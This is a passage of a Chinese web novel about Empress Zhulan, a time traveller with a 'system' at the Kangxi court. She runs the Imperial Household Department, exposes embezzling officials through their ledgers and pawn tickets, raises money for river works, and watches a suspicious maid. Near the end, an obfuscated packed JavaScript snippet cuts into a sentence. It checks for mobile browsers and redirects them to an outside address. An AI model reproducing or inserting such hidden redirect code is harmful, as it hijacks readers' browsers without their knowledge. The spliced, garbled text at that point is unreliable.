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小太监慌忙跪地,额头几乎贴住冰凉的金砖,“奴、奴才不敢妄言……但朝中确有议论,说皇后移出坤宁宫……”梁九功浑身发抖,偷眼瞥见主子眉间拧成川字纹——自皇后迁居养心殿,太皇太后的不满、朝臣的揣测,早如乌云般接连而来。乾清宫的气压随着皇后娘娘而动,主子娘娘在时便是晴天,主子娘娘不在时便是阴天。好在主子娘娘每日都来,奴才们便能得几分阳光。 “内务府的例银册子呈上来了?”康熙突然转话,修长手指叩击着桌面。 梁九功忙从一边的角落里取出账簿,耳朵支棱着,听见一声若有所思的轻笑:“葛布喇没那个心力全权管着内务府……”墨迹未干的“皇后宫用”四字在烛火下泛着红光,“这摊子事,交给皇后倒也名正言顺。” 祖宗啊,哪里来的名正言顺。梁九功一头趴在地上,大清朝内务府何曾是皇后染指过的。大清祖训,后宫不得干政。便是太皇太后,也不曾亲掌过内务府啊。 赫舍里府 索额图力劝大哥,去寻阿玛一叙。 葛布喇心下犹疑,皇后搬出坤宁宫之事,实在令人诧异。若是告知阿玛,怕是扰了他清净。珠兰入宫后,阿玛才难得睡个囫囵觉。 索额图心中着急,几次都要来拉拽,伸出手收回手,伸出手收回手,这是大哥,哎··· 23. 掌内务府 康熙四年十月,太和殿丹陛上凝结着白霜,十三岁的少年天子身着明黄龙袍,在凛冽寒风中接过辅政大臣手中的印玺。 金銮殿檐角的铜铃被北风吹得叮咚作响,与阶下“皇上亲政,万岁无疆”的山呼声交织,却掩不住朝堂内外暗潮汹涌——当这位年少的君主挺直脊梁,独立肩负起江山社稷时,四大隐患正如同蛰伏的毒蛇,在帝国的各个角落吐着信子。 吴三桂盘踞云贵,手握五万精兵,私设税卡截留赋税,两省铜矿、盐场尽入囊中;尚可喜在广东纵容部下垄断海盐贸易,商船只挂平南王府旗号;耿精忠镇守福建,强征百姓开矿炼铁,作坊中兵刃锻造的火星彻夜不息。三藩每年消耗朝廷半数财政,却连请安折都数月方抵京城,宛如附在帝国躯体上的吸血毒瘤。 郑经率明郑势力以台湾为据点,水师战船游弋澎湖列岛,凭坚船利炮封锁海岸线,截断江南漕运命脉。福建巡抚加急奏折中写道:“海贼劫掠沿岸,泉州、漳州商贾闭市,百姓十室九空。”更有密报称荷兰东印度公司商船与台湾暗通款曲,甲板下暗藏的红衣大炮直指大陆。 准噶尔部在巴图尔珲台吉治下日益强盛,草原深处的营帐里,工匠仿制沙俄燧发枪的锤锻声不绝于耳,大批战马在乌兰布通草原奔腾操练。虽噶尔丹尚未掌权,但部落扩张的野心已如星火,隐隐威胁北疆安宁。 黄河在河南兰考段水位暴涨,浑浊浪头拍打着崩坏的堤坝。河道总督奏折沾满泥浆:“堤防崩坏三里有余,沿岸七州县尽成泽国,饥民相携北逃,哭声震野。”修缮河道需三百万两白银,却因三藩截留赋税而国库空虚,治水之策竟成纸上空谈。 少年天子接过的印玺虽重,却不及这四面楚歌的隐患更沉。亲政大典的钟鼓余音未散,一场关乎王朝命运的暗战,已在太和殿的阴影下悄然拉开序幕。 一句话,缺钱了。 冬日的慈宁宫暖意融融,珠兰端坐在紫檀木椅上,月白色绣着缠枝莲纹的裙摆铺展如莲。太皇太后斜倚在铺着杏黄锦缎的软榻上,手中的佛珠骤然停住,浑浊的目光如鹰隼般剜过来。 珠兰垂眸敛目,睫毛轻颤着掩住眼底的平静,面上恰到好处地浮起一抹惶恐,“臣妾惶恐,还请皇祖母明示。”指尖摩挲着袖口的银线刺绣,冰凉的触感却压不住心底翻涌的算计——她早料到这趟拜见不会太平,不过是场各怀心思的博弈罢了。 “养心殿住着可舒心?”太皇太后忽然开口,佛珠又开始缓缓转动,“听闻皇后常与皇帝研读西学,倒比前朝大臣还勤勉。”话音未落,殿内空气骤然凝固,苏麻喇姑垂首退后半步,太后低头抿茶的动作都僵在半空。 珠兰连忙起身,站到堂中。她福身时,鬓边银簪晃出一片冷光,“蒙皇上垂爱,教导臣妾读书明理。只是臣妾近日常念着……”她抬眼时眼眶微红,将酝酿好的恳切推至眼底,“当年一同入宫待年的姐妹们,如今四散天涯。若能召她们入宫相聚,也算不负年少情谊。” 佛珠猛地拍在檀木案几上,惊得廊下守值的宫女一颤。太皇太后似笑非笑地打量着她故作忐忑的模样,忽然轻笑出声:“皇后倒是念旧。”那抹笑意不达眼底,“只是这后宫开枝散叶的事,哀家可不想再等。” 珠兰心中想,这话该说给康熙听,他不同意,谁努力都没用。她面上却再度惶恐,“臣妾谨遵教诲,只是姐妹相聚,也能为后宫添些生气,还望太皇太后成全。” 起身时余光瞥见太皇太后摩挲佛珠的动作,便知这场试探自己已勉强过关——太皇太后的心思深似海,但她喜欢柔顺之人,只要拿捏住“贤德大度”的由头,不顶嘴,顺着说,总能全身而退。 太后,太后想问能不能也把端敏接回来,元年以后就那么几天能相见。可看着太皇太后的脸色,她还是没敢问。 养心殿檐角的冰棱在暮色里泛着冷光,珠兰刚跨过门槛便狠狠跺了跺脚,锦缎鞋底碾过青砖,似要将慈宁宫那番虚与委蛇的憋闷都碾碎。 吉雅赶忙捧来手炉,却见主子盯着袅袅热气出神,半晌才笑着说一声:“老祖宗那双眼睛,倒比腊月的北风还刺骨。” “娘娘,乾清宫的张起用来回话,皇上正在批折子。”春苒隔着帘子回话,珠兰整了整鬓边的珍珠步摇:“去候着,一等皇上闲下来,就说本宫求见。”自打康熙给她派了四大女官来,往乾清宫传话的活计,就叫她们做了。 左右她们都有任务在身,该用就用。 她指尖划过窗棂上的冰花,太皇太后话里带刀的敲打,并未再降亲密度,这话儿不是冲她来的,是冲着皇帝去的。 若是原来,他们祖孙间是用不上这些弯弯绕绕的,直说就是了。珠兰打开系统,细细去看各项数值,这一起一落,是皇帝长大了,也是太皇太后老了。 乾清宫内,康熙将朱批重重掷在案上,飞溅的墨点在“黄河决堤”四字上晕开狰狞的黑。 梁九功一哆嗦,天子的脾气越发大了。 “传皇后——”话到嘴边又顿住,望着窗外飘飞的细雪轻笑出声,“罢了,朕去养心殿。”龙袍扫过金砖时带起一阵风,值夜太监捧着铜灯一路小跑跟上。 养心殿的槅扇门“吱呀”推开时,暖香裹挟着松烟墨味扑面而来。 康熙望着倚在紫檀架前的身影,见她鬓边银簪换成了新制的白玉兰花,不由笑道:“皇后想见朕,遣个宫女唤一声便是,怎的还学起外臣递牌子了?” 珠兰转身时眼波流转,福身时裙摆扫过地上的波斯地毯,仿佛一朵盛开的花,“外头风大,臣妾怕扰了皇上公务。”她抬手接过吉雅递来的手炉,玉白指尖轻轻摩挲鎏金兽首,一把塞给皇帝,“倒是皇上体恤,冒着风雪过来。” 康熙被塞了满怀的暖意,扫过案头新添的西洋琉璃瓶,插着几枝腊梅在暖光中摇曳生姿。比起乾清宫的庄严肃穆,养心殿总带着股说不出的妥帖,仿佛连呼吸都能松快几分。“朕早说过,往后想见朕,不必拘礼。”他在软垫上落座,瞥见珠兰欲言又止的模样,挑眉道:“可是有心事?” 珠兰垂眸望着康熙腰间新换的螭纹玉佩,当着人真不拘礼,你又该不乐意了。系统数值中,皇帝对礼的重视可不低呢。 她挥手让丫头们都出去,皇帝点头示意梁九功等人也下去。 珠兰指尖绞着帕角,面上浮起几分娇憨,“皇上,臣妾近日总想起在慈宁宫待年时,与姐妹们一同描花样、猜灯谜的日子。”她抬眼时睫毛扑闪,眼底盛满期许,“如今后宫冷冷清清,若能接她们入宫,也好添些生气。” 康熙搁下手中刚拿起来的《几何原本》,烛火在他眉骨投下阴影。瞥见少女鬓边微微凌乱的碎发,他忽而想起方才乾清 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“也罢。”停在珠兰面前,皇帝温热的呼吸扫过她泛红的耳垂,“叫内务府收拾宫室,择吉日接她们入宫。”见少女眼睛瞬间亮起来,忽又想起什么似的,抬手抚过她鬓边珍珠:“内务府这些年都是你父亲在操持,如今朕有了中宫,这摊子事也该交给正主了。” 珠兰猛地抬头,做出一副掌心沁出薄汗却强作惊喜的奇怪模样,“皇上...您是说,让臣妾掌管内务府?”她屈膝福身时,余光瞥见铜镜里两人重叠的身影——少年天子眉眼含笑,却掩不住眼底转瞬即逝的深思。而自己藏在广袖里的手指,正死死攥着那方浸透香露的丝帕。您是缺钱了吧,想要我去当刀。 康熙将内务府鎏金印信推过蟠龙纹案几,望着珠兰惊讶的神色,故意放缓语气,“自你搬出坤宁宫,总有人胡乱揣测。”他再次抬手替她拂开鬓边碎发,龙袍袖口扫过案头的西洋自鸣钟,“这印信交给你,既是堵悠悠众口,也算圆了赫舍里氏的体面。” 两者都不合规矩,您这是要负负得正是咋地。夜色渐深,养心殿内灯火渐次熄灭,唯有角落里的一盏长明灯,在黑暗中散发着微弱却坚定的光芒。 珠兰捏着康熙亲赐的内务府印信,虽说皇帝允诺将内务府交予她掌管,但她深知,这并非后宫常规职权。内务府自成体系,向来由满族王公大臣兼管,皇后无权插手其中。 “娘娘,这印信...”吉雅看着印信,面露担忧。 珠兰将印信放在案上,目光落在内务府近日送来的呈文上。这些本该递交给总管内务府大臣的文书,如今只管径直送到养心殿。 皇帝此举究竟何意?是真的信任,还是另有盘算? 不重要,接了内务府,交通内外,便宜多了。内务府官员多为上三旗包衣,有较多机会出任外朝官职。 赫舍里府 索额图百思不得其解,这又是闹的哪一处。 “要不,还是寻阿玛念叨念叨吧。”索额图是真不知天子的想法,偌大一个内务府,给了皇后管着。 是对索尼这个前总管大臣、葛布喇这个现总管大臣的敲打? 不像。 是对赫舍里掌管内务府满意? 不像。 葛布喇尴尬的咳了一声,“三弟,此事阿玛首肯了。” 索额图??? 24. 吃干抹净 内务府衙门大堂东侧暖阁内,炭盆烧得噼啪作响。 外间索额图领着一众大内侍卫,再内侧是一众宫女,在院子和回廊里备着里头主子娘娘使唤。 瞅着下头这一群跟蔫菜似的包衣们,索额图一张脸面无表情,心中泪流满面,这几日得罪的人啊海了去了。皇上老人家,心思深似海,这是要赫舍里氏做孤臣啊。 阿玛左右逢源来的一众人情,索额图我要继承的。娘娘这一下子铁面无私,我拿什么出去卖人情啊。 包衣都连着勋贵,上三旗的包衣家姑奶奶也有嫁给八旗勋贵的,谁家没有两门好亲呢。 那赫舍里家的门槛都让踩断五根了,比鳌拜在时还热闹。还有大哥养的一众好门房,全给我打发走了。我是一个也没见得到,省得我不知道怎么拒绝人家了。 主子娘娘怎么就跟大哥一个脾气呢,她老人家小时候可灵性了,把大哥的家管的都叫自己甘拜下风。索额图到现在不知道葛布喇家到底有多少产业,他打赌大哥自己也不知道。 索额图到现在也不知道,主子娘娘到底要把这恶事做到什么程度。急的他都偷摸回家找大哥商量,大哥云淡风轻就知道喊效忠皇上。 要不大嫂和他吵呢,我索三也想和他吵。 咱家的姑奶奶当了主子娘娘,我是真不敢劝啊。 老天爷知道,打姑奶奶她进了内务府,杀人抄家跟喝茶一个样子,我索三就见了她只想着跪下。 我那时真怕啊,怕她下一句就要把索尼拖出去打。 咱阿玛是内务府敛财高手,哦,亏空都还上了,大哥还的,那没事了。索额图挺直腰进门,噗通跪姑奶奶脚边,请主子娘娘示下,还是怕啊。 大哥怎就养出来这么天生就是主子的女儿呢,索额图想不通,就如同他想不通大哥到底有多少家产可以挥霍,都能自己出钱替阿玛平账了。 不是我索额图胆子小,是娘娘她超出了我的想象极限。 会计司(掌财务、宫女选拔)、掌仪司(掌宫廷礼仪)、都虞司(掌侍卫、狩猎)、慎刑司(掌刑罚)、营造司(掌工程)、庆丰司(掌畜牧)、武备院(掌管皇帝兵器、甲胄、仪仗制造与收藏)、上驷院(掌管皇帝御马、车驾及相关事务)、奉宸苑(掌管皇家苑囿的管理与修缮)、内务府堂(协调各部门事务)、广储司六库(掌管具体库藏)、敬事房(掌管宫廷宦官事务)、造办处(掌管宫廷手工艺品制造)等,从郎中到笔贴士都来了。 诸人中,五品以上的在院子里拜见皇后娘娘,五品以下的站不进去,都在门口外头等着。听见里头叫散了吧,便都战战兢兢的回值房待着。 当值的不当值的都在这儿,哪个都不敢走,也不敢串闲话。主子娘娘不曾关了他们,可他们得知道规矩。上三旗包衣,哪个不盯着宫里的缺儿,哪个不想着谋个好差事,哪个不盼着他们倒台好自家顶上。 补上亏空的,端着一杯茶,想着家徒四壁的家,堆积如山的当票和借据,这以后不知道还有机会捞回来不。心里有鬼的,擦着额头上的汗,来回踱步。有些人是欠了钱,还钱就是。有些人是自作聪明,专门挪了东西出去,一时半会哪里倒腾的回来。有些人还有其他事儿的,心里扑腾的恨不能就死了才好。 自打主子娘娘亲自到了内务府,已经十日了。光是郎中就下了三个,家都叫抄了,人侥幸没死的,也发送回老林子里为奴去了。其他小人物,捎带着的就更多了,几辈子的老脸了,别说没了脸,命都有保不住的。 倒是那些本就不得宠的,比如姓贾姓王那几家,没沾过内务府差事的好处,还逃过一劫。 平日里哪位外朝大臣当着总管内务府大臣,都不好深插手。一来有四大辅臣互相牵制,二来有太皇太后在后头撑着,三来这是皇上的家事。 养的这帮包衣们也是心大,把内库当自己家的了,各种挪用贪墨,都不带平账的。 现而今皇帝亲政,四大辅臣是不提了,太皇太后老人家也不见客。 谁也没想到,这一天会来的这般早啊,这才康熙四年。 主子娘娘来了,她要治自家的奴才,哪个敢喊冤求情。内务府是皇帝的家事,出手的是皇帝的妻子,前朝便是有沾亲带故的,也不敢拿出来说,恨不能撇清了才好。 其实有求情的,被皇帝一通毒舌,骂出去了。 人家那是夫妻店,什么人啊看不出点眉眼高低来。 一帮子正经上三旗出身的侍卫日日待在这院子里,里外围着,等着建功立业。一帮子没差事的上三旗包衣天天打听,恨不能明天就有缺儿了好叫他们来。 只有索额图心中呐喊,主子娘娘下手轻点。那都是我的人情啊,都是我的啊。 更何况,主子娘娘手下是真有能人,不知道养了几个青天大老爷,说盘库就盘库,说盘账就盘账,说抓人就抓人,就都那么正好,都是人赃并获,一个不带冤枉的。 闹得这一路子,京中内外不知多少包衣人家变卖家产补亏空的。田庄、土地都跟着降价了,只因这些东西多是在自己旗内实在亲戚间流转,价格压低了也没办法。只说各处典当铺子,书画古董可没少收,一时间多了不少货源,这价儿就都下来了。 都晓得这位赫舍里氏的贵女,天家的主子娘娘,有她父亲八分公正能干,九分火眼金睛,十分的不揉沙子。 索额图这里,有找到值房来的。他只能忍痛回绝了不知多少人家的请托,都是想要谋个缺的,连金陵那边的都千里迢迢托人来说项。 不是他不帮忙,是主子娘娘真不给他脸面。 他不好意思说啊···呜·呜·呜··· 时间长了,这事儿天南海北的传开了,盛京、金陵等地的包衣人家都晓得京里的富亲戚遭了殃。 有那心思灵活的,便生了进京谋内务府差事的心,赌一把,若是赢了,将来子孙的出路也有了。比如,金陵包衣王氏的年轻家主就派老管家回京收拾旧房子去了。 慈宁宫 太皇太后本对皇后执掌内务府存了一肚子火气,可眼见珠兰去了就下死手的做派,不像当家主母的套路,像个天子鹰犬! 莫非是皇帝授意? 太皇太后自己盘算开了,皇帝刚亲政,要拿奴才开刀立威,自己支持,比在前朝上来就干三藩强啊。 让他在自己家里玩儿吧,玩漏了还有皇后挡着一道呢。 这么一想,她又有些心疼珠兰了。 看着做派是真实在啊,这孩子。想起少年时的自己,也是这么风风火火的就敢干。 人老了,不该给孩子们添麻烦。 虽说看不见重孙子,她着急。可孩子们有正经事做的时候,她肯定要支持的。 慈宁宫传了道旨意,来求情的一概不见。 太后听说慈宁宫闭了门,紧跟着就把自己禁足了。只说让端敏格格递牌子的时候,可以进。 乾清宫 皇帝在前朝发了火,骂的一众文武大臣臭头。户部尚书王弘祚磕头磕破脑门子,没钱就是没钱。鳌拜来了没有,皇上来了也没有。 梁九功呈上内务府那边送来的抄家册子,瞅着皇上的脸色,怕是别迁怒了皇后娘娘。 结果,皇帝看完了,高兴的在暖阁里来了三个大跳,就差翻跟头了。 梁九功连忙低头靠边站,生怕被主子的扫堂腿踹出去。 治河银齐备了! 珠兰,不愧为葛布喇之女! 虽说从朕的内库里出,心疼,但此刻还是国事要紧。 珠兰不愧为朕之知己,深知朕此刻缺钱。不愧葛布喇所说经营之才,一出手就是三百万两。 康熙安静下来,转身回座,表扬赫舍里氏族人。 葛布喇在外头排着准备觐见,一副谦逊的表情,毫无架子。后头排着的诸人无论满汉,都是一副敬佩的模样。 皇后娘娘公平公正、铁面无私,定是得了葛大人真传! 本来是葛布喇风评在外,连带着珠兰也能狐假虎威。 后来珠兰在内务府传出来的名声太邪乎,连带着葛布喇大人都叫人看着高深莫测起来了。 这厢,珠兰拨弄着鎏金手炉上的缠枝莲纹,这是诺敏家里送来的,一并送来的还有投名状。江南那边不着急,先放放。 扫过阶下肃立的女官们——尼雅与图雅捧着镶铜边的账册,春苒四人袖中隐隐露出文书一角,最末的巧云攥着帕子,指节泛白如纸。 这宫里站着的都是女官,巧云不知自己一个小宫女为何也会站在这里,心中忐忑不安。 珠兰瞧了她一眼,这丫头十二岁,是内务府拨过来的三等宫女,针线上使用的,一双手是真巧。 带她们这一拨儿的嬷嬷,说这丫头不亏一个巧字,那双手能织会绣,学了三年,宫里的花样子,没有她不会的。 内务府会计司管事说,这丫头是九岁就被选中入宫的,为的就是她这一手针线手艺。 禄雅与吉雅去的时候,是打着赏赐内务府会调教人的名目去的,管事和嬷嬷都把功劳往身上领,禄雅都给了赏赐,乐的他们眉开眼笑,知无不言,言无不尽。 有个小太监叫王二敏的,十分伶俐,忠诚值也高,【口才】更是有80,珠兰给他把两项数值都涨了上去,叫他去寻了过去与巧云一处的宫女们闲聊,把这丫头在宫里的情况扫听了七七八八。 两相一比对,系统就差不多知道蹊跷了。 珠兰一上任,就先给在内务府兼着差事的索额图派了个活计。 若是今日这丫头有了动静,就可以令索额图收网,拘拿她后头的人了。 “主子,这是广储司绸缎库的底账。”尼雅上前,将账册摊开。 珠兰指尖划过“康熙四年江南织造局解送”条目,墨色批注:三年七月初三,鳌拜府借妆花缎一百二十匹,未还。蓝色批注:绸缎库实际盘存短缺五百二十八匹,为索柱私借所用。 说是借出去的,就是给出去了,或者是卖出去了。库里的各类绸缎源源不断来新的,宫中才几个主子用。过几年虫子吃了,旧了,就扔了,没人查,那账目上什么都看不出来。可这才康熙四年,显然不到报废时候呢。 这索柱是平账太急,往鳌拜身上栽呢,以为那位倒了,家抄了,就无对证了,结果把自己栽成了鳌拜党。家抄了,补上亏空。人这就不归自己管了,往前朝报一句吧。珠兰摇摇头,没见过这么笨的。 他要是老老实实把短缺的补上,还没这一遭。哦,这是贡品,补不上。 “西库的事更蹊跷。”图雅掀起蓝布包袱,滚出三枚包着油纸的当票,日期从康熙二年至三年,当物栏赫然写着“内务府库银”。当户签名“索柱”二字被指甲刮得模糊,当银栏里的“两千两”用朱砂圈着,像滴凝固的血。这些银两,是普通百姓数十年的收入。 作为内务府官员,虽属包衣权贵体系,但索柱俸禄有限(正五品年俸约80两白银),若存在奢靡消费、赌博欠债、官场应酬等资金缺口,两千两库银可解其燃眉之急。通过抵押库银,他能从当铺换取能立即花销的银子,而当票留存的行为,可能是计划后续用其他资金赎回以掩盖罪行。 内务府广储司郎中,负责掌管银库、缎库等皇家财物,也没个监督,什么都由着他自己做主,这倒是方便。这内务府制度有问题,银库的钥匙、印信管理不严,缺乏有效的审计和监督机制,导致低级官员也能轻易挪用库银。 再有,这什么当铺啊,库银这种带着明显标记的也敢收。哦,鳌拜一党的当铺,已经收归户部了。从掌柜到活计,都死刑部大牢里了。这是什么事儿,都能栽鳌拜身上了,其他勋贵 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康熙四年内务府奏请“大婚缎匹需银十万两”,但实际拨付仅三万两,差额通过挪用旧库存填补。 系统分析,负责采办贡品的皇商可能与内务府官员合谋,将新缎私自售卖。 经过查证,皇商范氏家族曾“以明万历旧缎充康熙新贡”,被御史弹劾后仅罚银了事,反映监管体系的纵容。 皇后大婚霞帔所需东珠十二颗,账载“采办用银五千两”,银库流水仅三千两,差额两千两被总管噶褚哈以“预支明年经费”名义挪用(附:噶褚哈亲笔借条,注有“康熙四年九月借”)。 借条的存在或因噶褚哈自恃权势(总管为内务府高级官员,正四品),认为可通过后续财政拨款填补空缺。按制度,跨年度预支需经辅政大臣会议及户部尚书联署批准。虽形式上保留债务记录,但本质是监守自盗的证据。 银库“流水账”本应每日与库存现金核对,但因库丁缺额——《内务府人事档》记载,康熙四年银库缺额达40%,核对工作长期停滞。 这也是稀奇事儿,那么多侯缺儿的,这里有缺儿不补人,就留着这漏洞。 再说东珠,是产自松花江、黑龙江流域的淡水珍珠,因采集难度极高(需潜水捞取)且产量稀少,被定为皇室专用贡品。 《清会典》规定:东珠唯帝后、太子、亲王等可用,其余官民严禁私藏。皇后大婚霞帔上的十二颗东珠,需选取直径1.5厘米以上的“正珠”,每颗价值约400-500两白银,十二颗合计约五千两,与账载金额吻合。 不过,珠兰姐妹自小就戴东珠,可见这东西在这几年管的十分宽松,辅政大臣家中随处可见。 冬萧展开幅舆图,七司三院的辖区用不同颜色涂得混乱不堪,“采买喜烛这事,广储司报一万对,营造司买五千对,多出来的全在库房淌蜡油,管事的还说''怕主子不够用''。” 广储司与营造司重复采买喜烛:前者报购一万对,后者实买五千对,多余五千对在库房融化,损耗蜡油两千斤,折合白银八百两(证据:两司采办文书原件,附库房损耗登记)。 系统分析,双方因职能边界不清导致重复立项,广储司按年度预算报购,营造司按具体典礼需求采购,双方无需向同一上级部门实时报备计划,导致“一万对”与“五千对”的采购量未被及时核减。通过重复采买,可将虚报部分的经费(如采购五千对喜烛的白银)以“损耗”名义核销,蜡油可重新提炼售卖,白银则通过伪造损耗登记被瓜分。 “前天领翡翠头面,”夏苼上前半步,“广储司说归营造司,营造司说该广储司,吵到最后打开箱子,凤钗翅尖都断了。八月至今,因各类纠纷延误的物件共三十七件。” 珠兰点了点头,到哪里都有这种情况。 系统分析,核心原因在于宫廷“多部门分权管理”模式下,缺乏统一的采买统筹机制,加之官员利用职能重叠与制度模糊性,通过重复采购、虚报损耗等手段贪腐牟利。这种现象并非个案,而是封建王朝官僚体系僵化、监守自盗频发的缩影。 “主子,这是内务府新增官员名册。”春苒捧上黄绸封面的簿子,珠兰翻开便见噶褚哈家族十七个名字连缀成串,十二岁的侄子竟列在“广储司员外郎”栏下。 指尖停在一位“噶褚哈奶妈之子”的履历上,那人名下写着“会计司主事”,秋葹说道,“这位连算盘都不会打,还有个叫张凤鸣的,字儿也不会写。” 笔帖式张凤鸣(噶褚哈远房外甥)任职半年,因''不通文墨''延误文书九件,其中将''金镶玉步摇''误记为''铜胎'',导致造办处错制饰品三件(证据:张凤鸣亲笔错账,附造办处返工记录)。 这就是个巨大的草台班子,珠兰叹了口气。 要不是需要内务府的钱办事,她是真不想给皇上管这个家。 累得慌,虽然活是系统和女官们干,她就管喝茶批条子,那也累得慌。 这活儿干了没收益,追回赃款本身对世界进程影响微乎其微。 这是还得是前朝影响大,所以珠兰才给康熙塞银子啊。 河工最能顶事,若是治理好黄河,必然是造福两岸,介时一年救下十万百姓,保下几十万亩良田,量变都能够付给时空局了。 咱在这里过日子,一天都是欠时空局能量的,不是白待着的。 珠兰原来为啥那么急功近利,哪怕破坏性开采,也得把能量弄出来,就是因为怕欠了时空局的能量,越来越多,利滚利,就麻烦了。 这是积攒的世界多了,手里有了积蓄,才敢弄成了系统来这边试一试可持续发展。 折腾了半天,能量结晶没得多少,看来供给皇帝的银子还没用上呢。 前朝效率太差! 25. 抄家皇后 每发现一个问题,就出一队侍卫,将涉事之人收押,他们的家人也都在严密监控之下,一个也走不脱。 索额图帽子压得低,不然遮不住使劲儿的眉毛。抄家皇后,难道名声好吗?! 主子娘娘一下收拾这么多包衣,家家沾亲带故的,但凡有个心中存了怨愤的,在一众人中如何辨别的出异心,日后··· 珠兰:我能分辨。 大哥不通此事是寻常,莫非主子娘娘也不知··· 珠兰:我知。 索额图咬着后槽牙,我是说还是不说。 珠兰:我从系统数据里看见你的迟疑指数不低啊。 这十天里,皇帝赏了赫舍里族人几次了,连带着他都得脸。这是不好明着赏主子娘娘,施恩给母家了。 主子娘娘做事,是得了皇上的意了。 若是虎头蛇尾,也许要适得其反。索额图不断劝自己,罢了罢了,主子娘娘这头儿咱们多看顾着吧。 这一天,又收拾了俩大的,十来个小的。 都是有头有脸的,家里也宽裕,想来又能给皇上送上不少银子。 打鳌拜倒台,咱家鲜花着锦、烈火烹油的,门槛都换了仨儿,主子娘娘兜头一盆凉水泼下来,这是叫咱家做个孤臣? 珠兰:这你就不懂了,大浪淘沙哦,最后能留在内务府的都是你的同党。 巧云垂手站在暖阁里,指尖攥着绣绷边角。自上月从针线房调至皇后宫中,她身上的粗布褂子换成了月白软缎,可心里那根弦却越绷越紧。 不知为何,主子娘娘来内务府总要带上她,叫她在旁边安心刺绣。 多少内务府的官儿,就这么明明白白清清楚楚的被抓了、关了、杀了,就没有一桩儿能瞒得住娘娘下头几位女官的。 主子斜倚在锦榻上,手里翻着本绣谱。明明一丝半点都没看她,可她总觉得娘娘眼角的余光像针似的,扎在她身上。这种感觉,未免过于恐怖。 “这《百鸟朝凤》的凤尾,还得用你前日说的金线。”正事办完了,珠兰将绣谱推到案头,上面贴着张花样——正是巧云在家乡学的苏绣密针。 巧云连忙站起身,趋步上前,还没回话,就听见一句··· 禄雅从旁递过个锦盒,里面排着十二色金线,“会计司说,你九岁入宫就是为了这手活儿。” 她没敢抬头,晓得是在问自己,明明在心里演练了千百次,张着嘴却怎么也开不了口,压力如山一般从四面八方而来。 角落里侍立的小太监王二敏突然开口:“前儿赵郎中招了,您父亲当年抵押织房借的五百两,正好是他挪用的库银数。” 巧云的心猛地一沉,她确实是九岁被选入宫,管事嬷嬷夸她“针线上百年难遇”,可没人提过父亲那年抵押织房的事。 珠兰放下绣谱,指尖敲了敲案上的账册。 “康熙元年七月,会计司记录织工补贴银五百两,领款人签字是你父亲。”尼雅展开张当票,当户名“苏文清”三个字刺得巧云眼疼,“可你父亲从没领过这笔钱,倒是赵郎中当月买了三进宅院。” 窗外传来更夫敲梆声,巧云想起这十日里,主子娘娘陆续处置了好几个内务府郎中。 殿外忽然响起靴声,索额图在廊下躬身禀报:“赵全安已带到。” 珠兰站起身,示意图雅和尼雅去审一审。 她走到巧云面前,“你父亲的织房还在山西票号押着,”珠兰的声音不高,却让她脊梁发冷。“明日随我去会计司对账,把当年的领银册子找出来。” 巧云小心翼翼地抬头,正对上皇后娘娘平静的眼。那双眼不像在针线房时见过的嬷嬷们带着戾气,却让她想起家乡汛期的河水——表面平静,底下全是漩涡,会吃人。 三更梆子响过,养心殿西耳房的自鸣钟滴答声格外清晰。 巧云摸黑点燃安神香,见同屋宫女们呼吸均匀,才蹑手蹑脚掀开棉帘。 巡逻侍卫的灯笼光在窗纸上晃过,她贴着墙根闪过月华门,鞋底蹭过金砖缝隙里的薄冰。 隐秘偏殿的窗纸透着微光,老嬷嬷坐在炕桌边,银簪子在发髻里闪着冷光。 “老赵在慎刑司熬不过明日,他既然连这旧事都招供了,难免不会说出别的来。”嬷嬷推过个油纸包,里面是半块桂花糕,“你父亲的织房契在山西票号第三进账房,那账房与他有旧,你要记牢。你父亲他人虽死了,可你母亲还在,若是主子接了她进京...”话音未落,梁上瓦片轻响,巧云猛地抬头,只看见道黑影掠过窗棂,似乎是一只猫。 寿春伏在琉璃瓦上,夜行衣兜住檐角积雪。 说了半盏茶的功夫,巧云掐着点返回宫女值房,又一次熟练饶过巡逻的侍卫。 寿春已踩着戗脊飞到养心殿,落地时靴底的雪粒都没沾湿廊下的地砖。 她一路在宫殿上飞腾,如履平地,95分以上的轻功,让她能在紫禁城来去自如。 寿春进殿,珠兰尚未入睡。 她将今日所见所听告知大格格,珠兰沉吟,这巧云忠诚度是负数,果然不是因为她父亲含冤致死之事。 翌日 鎏金熏球在梁上悠悠转动,内务府暖阁里浮动着的是皇帝特意赏赐的龙涎香。 这香味弥漫在整个厅堂中,每一个闻到这乾清宫专属味道的侍卫,都晓得自己是在为天子效命。 珠兰指尖划过赵全安供词上“抑郁而死”四字,墨迹未干的纸页上仿佛渗着血。 昨夜尼雅逼问时,赵全安始终不肯承认逼死人命,这四个字被反复嘶吼过三次,力图证明自己的清白。 巧云伏在地上的身影微微颤抖,她磕头时后颈始终贴着地面,发髻垂落的发丝恰好遮住耳后。 寻常宫女蒙冤昭雪,此刻该是涕泪横流叩谢天恩,可这丫头的脊背不够柔软,连声道谢时语气都透着刻意压下的僵硬。系统面板在视野边缘蓝光微闪,-35的忠诚值像枚生锈的钉子,钉在巧云姓名之后纹丝不动。 珠兰的目光扫过巧云发间的银簪——簪头那朵石榴花刻得极深,花瓣边缘带着江南织锦特有的回纹,与赵全安供词里“苏文清家传纹样”分毫不差,多少有那么点刻意。 “你母亲还在江南织房?”问话时,珠兰看着系统面板上的巧云的心虚数值猛地跳了下,像条受惊的蛇。 巧云磕头如捣蒜,嘴里呜咽着,全然不知道回话,这是情绪终于起来了。 点破?恐怕某个秘密结社安插在宫中的棋子不止这一个。 留着?这枚棋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15857217|173504||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子,或许能引出更深的黑幕。 有人要抢她的老本行,当幕后黑手。若是不过过招,可对不住这送上门怼脸的负值姑娘。 让这姑娘顺利入宫,恐怕废了不少心思。 赵全安闲着没事儿,陷害一个江南的织户,还千里迢迢非得征调他女儿入宫,不为了他的独门手艺,就是为了他的独女。 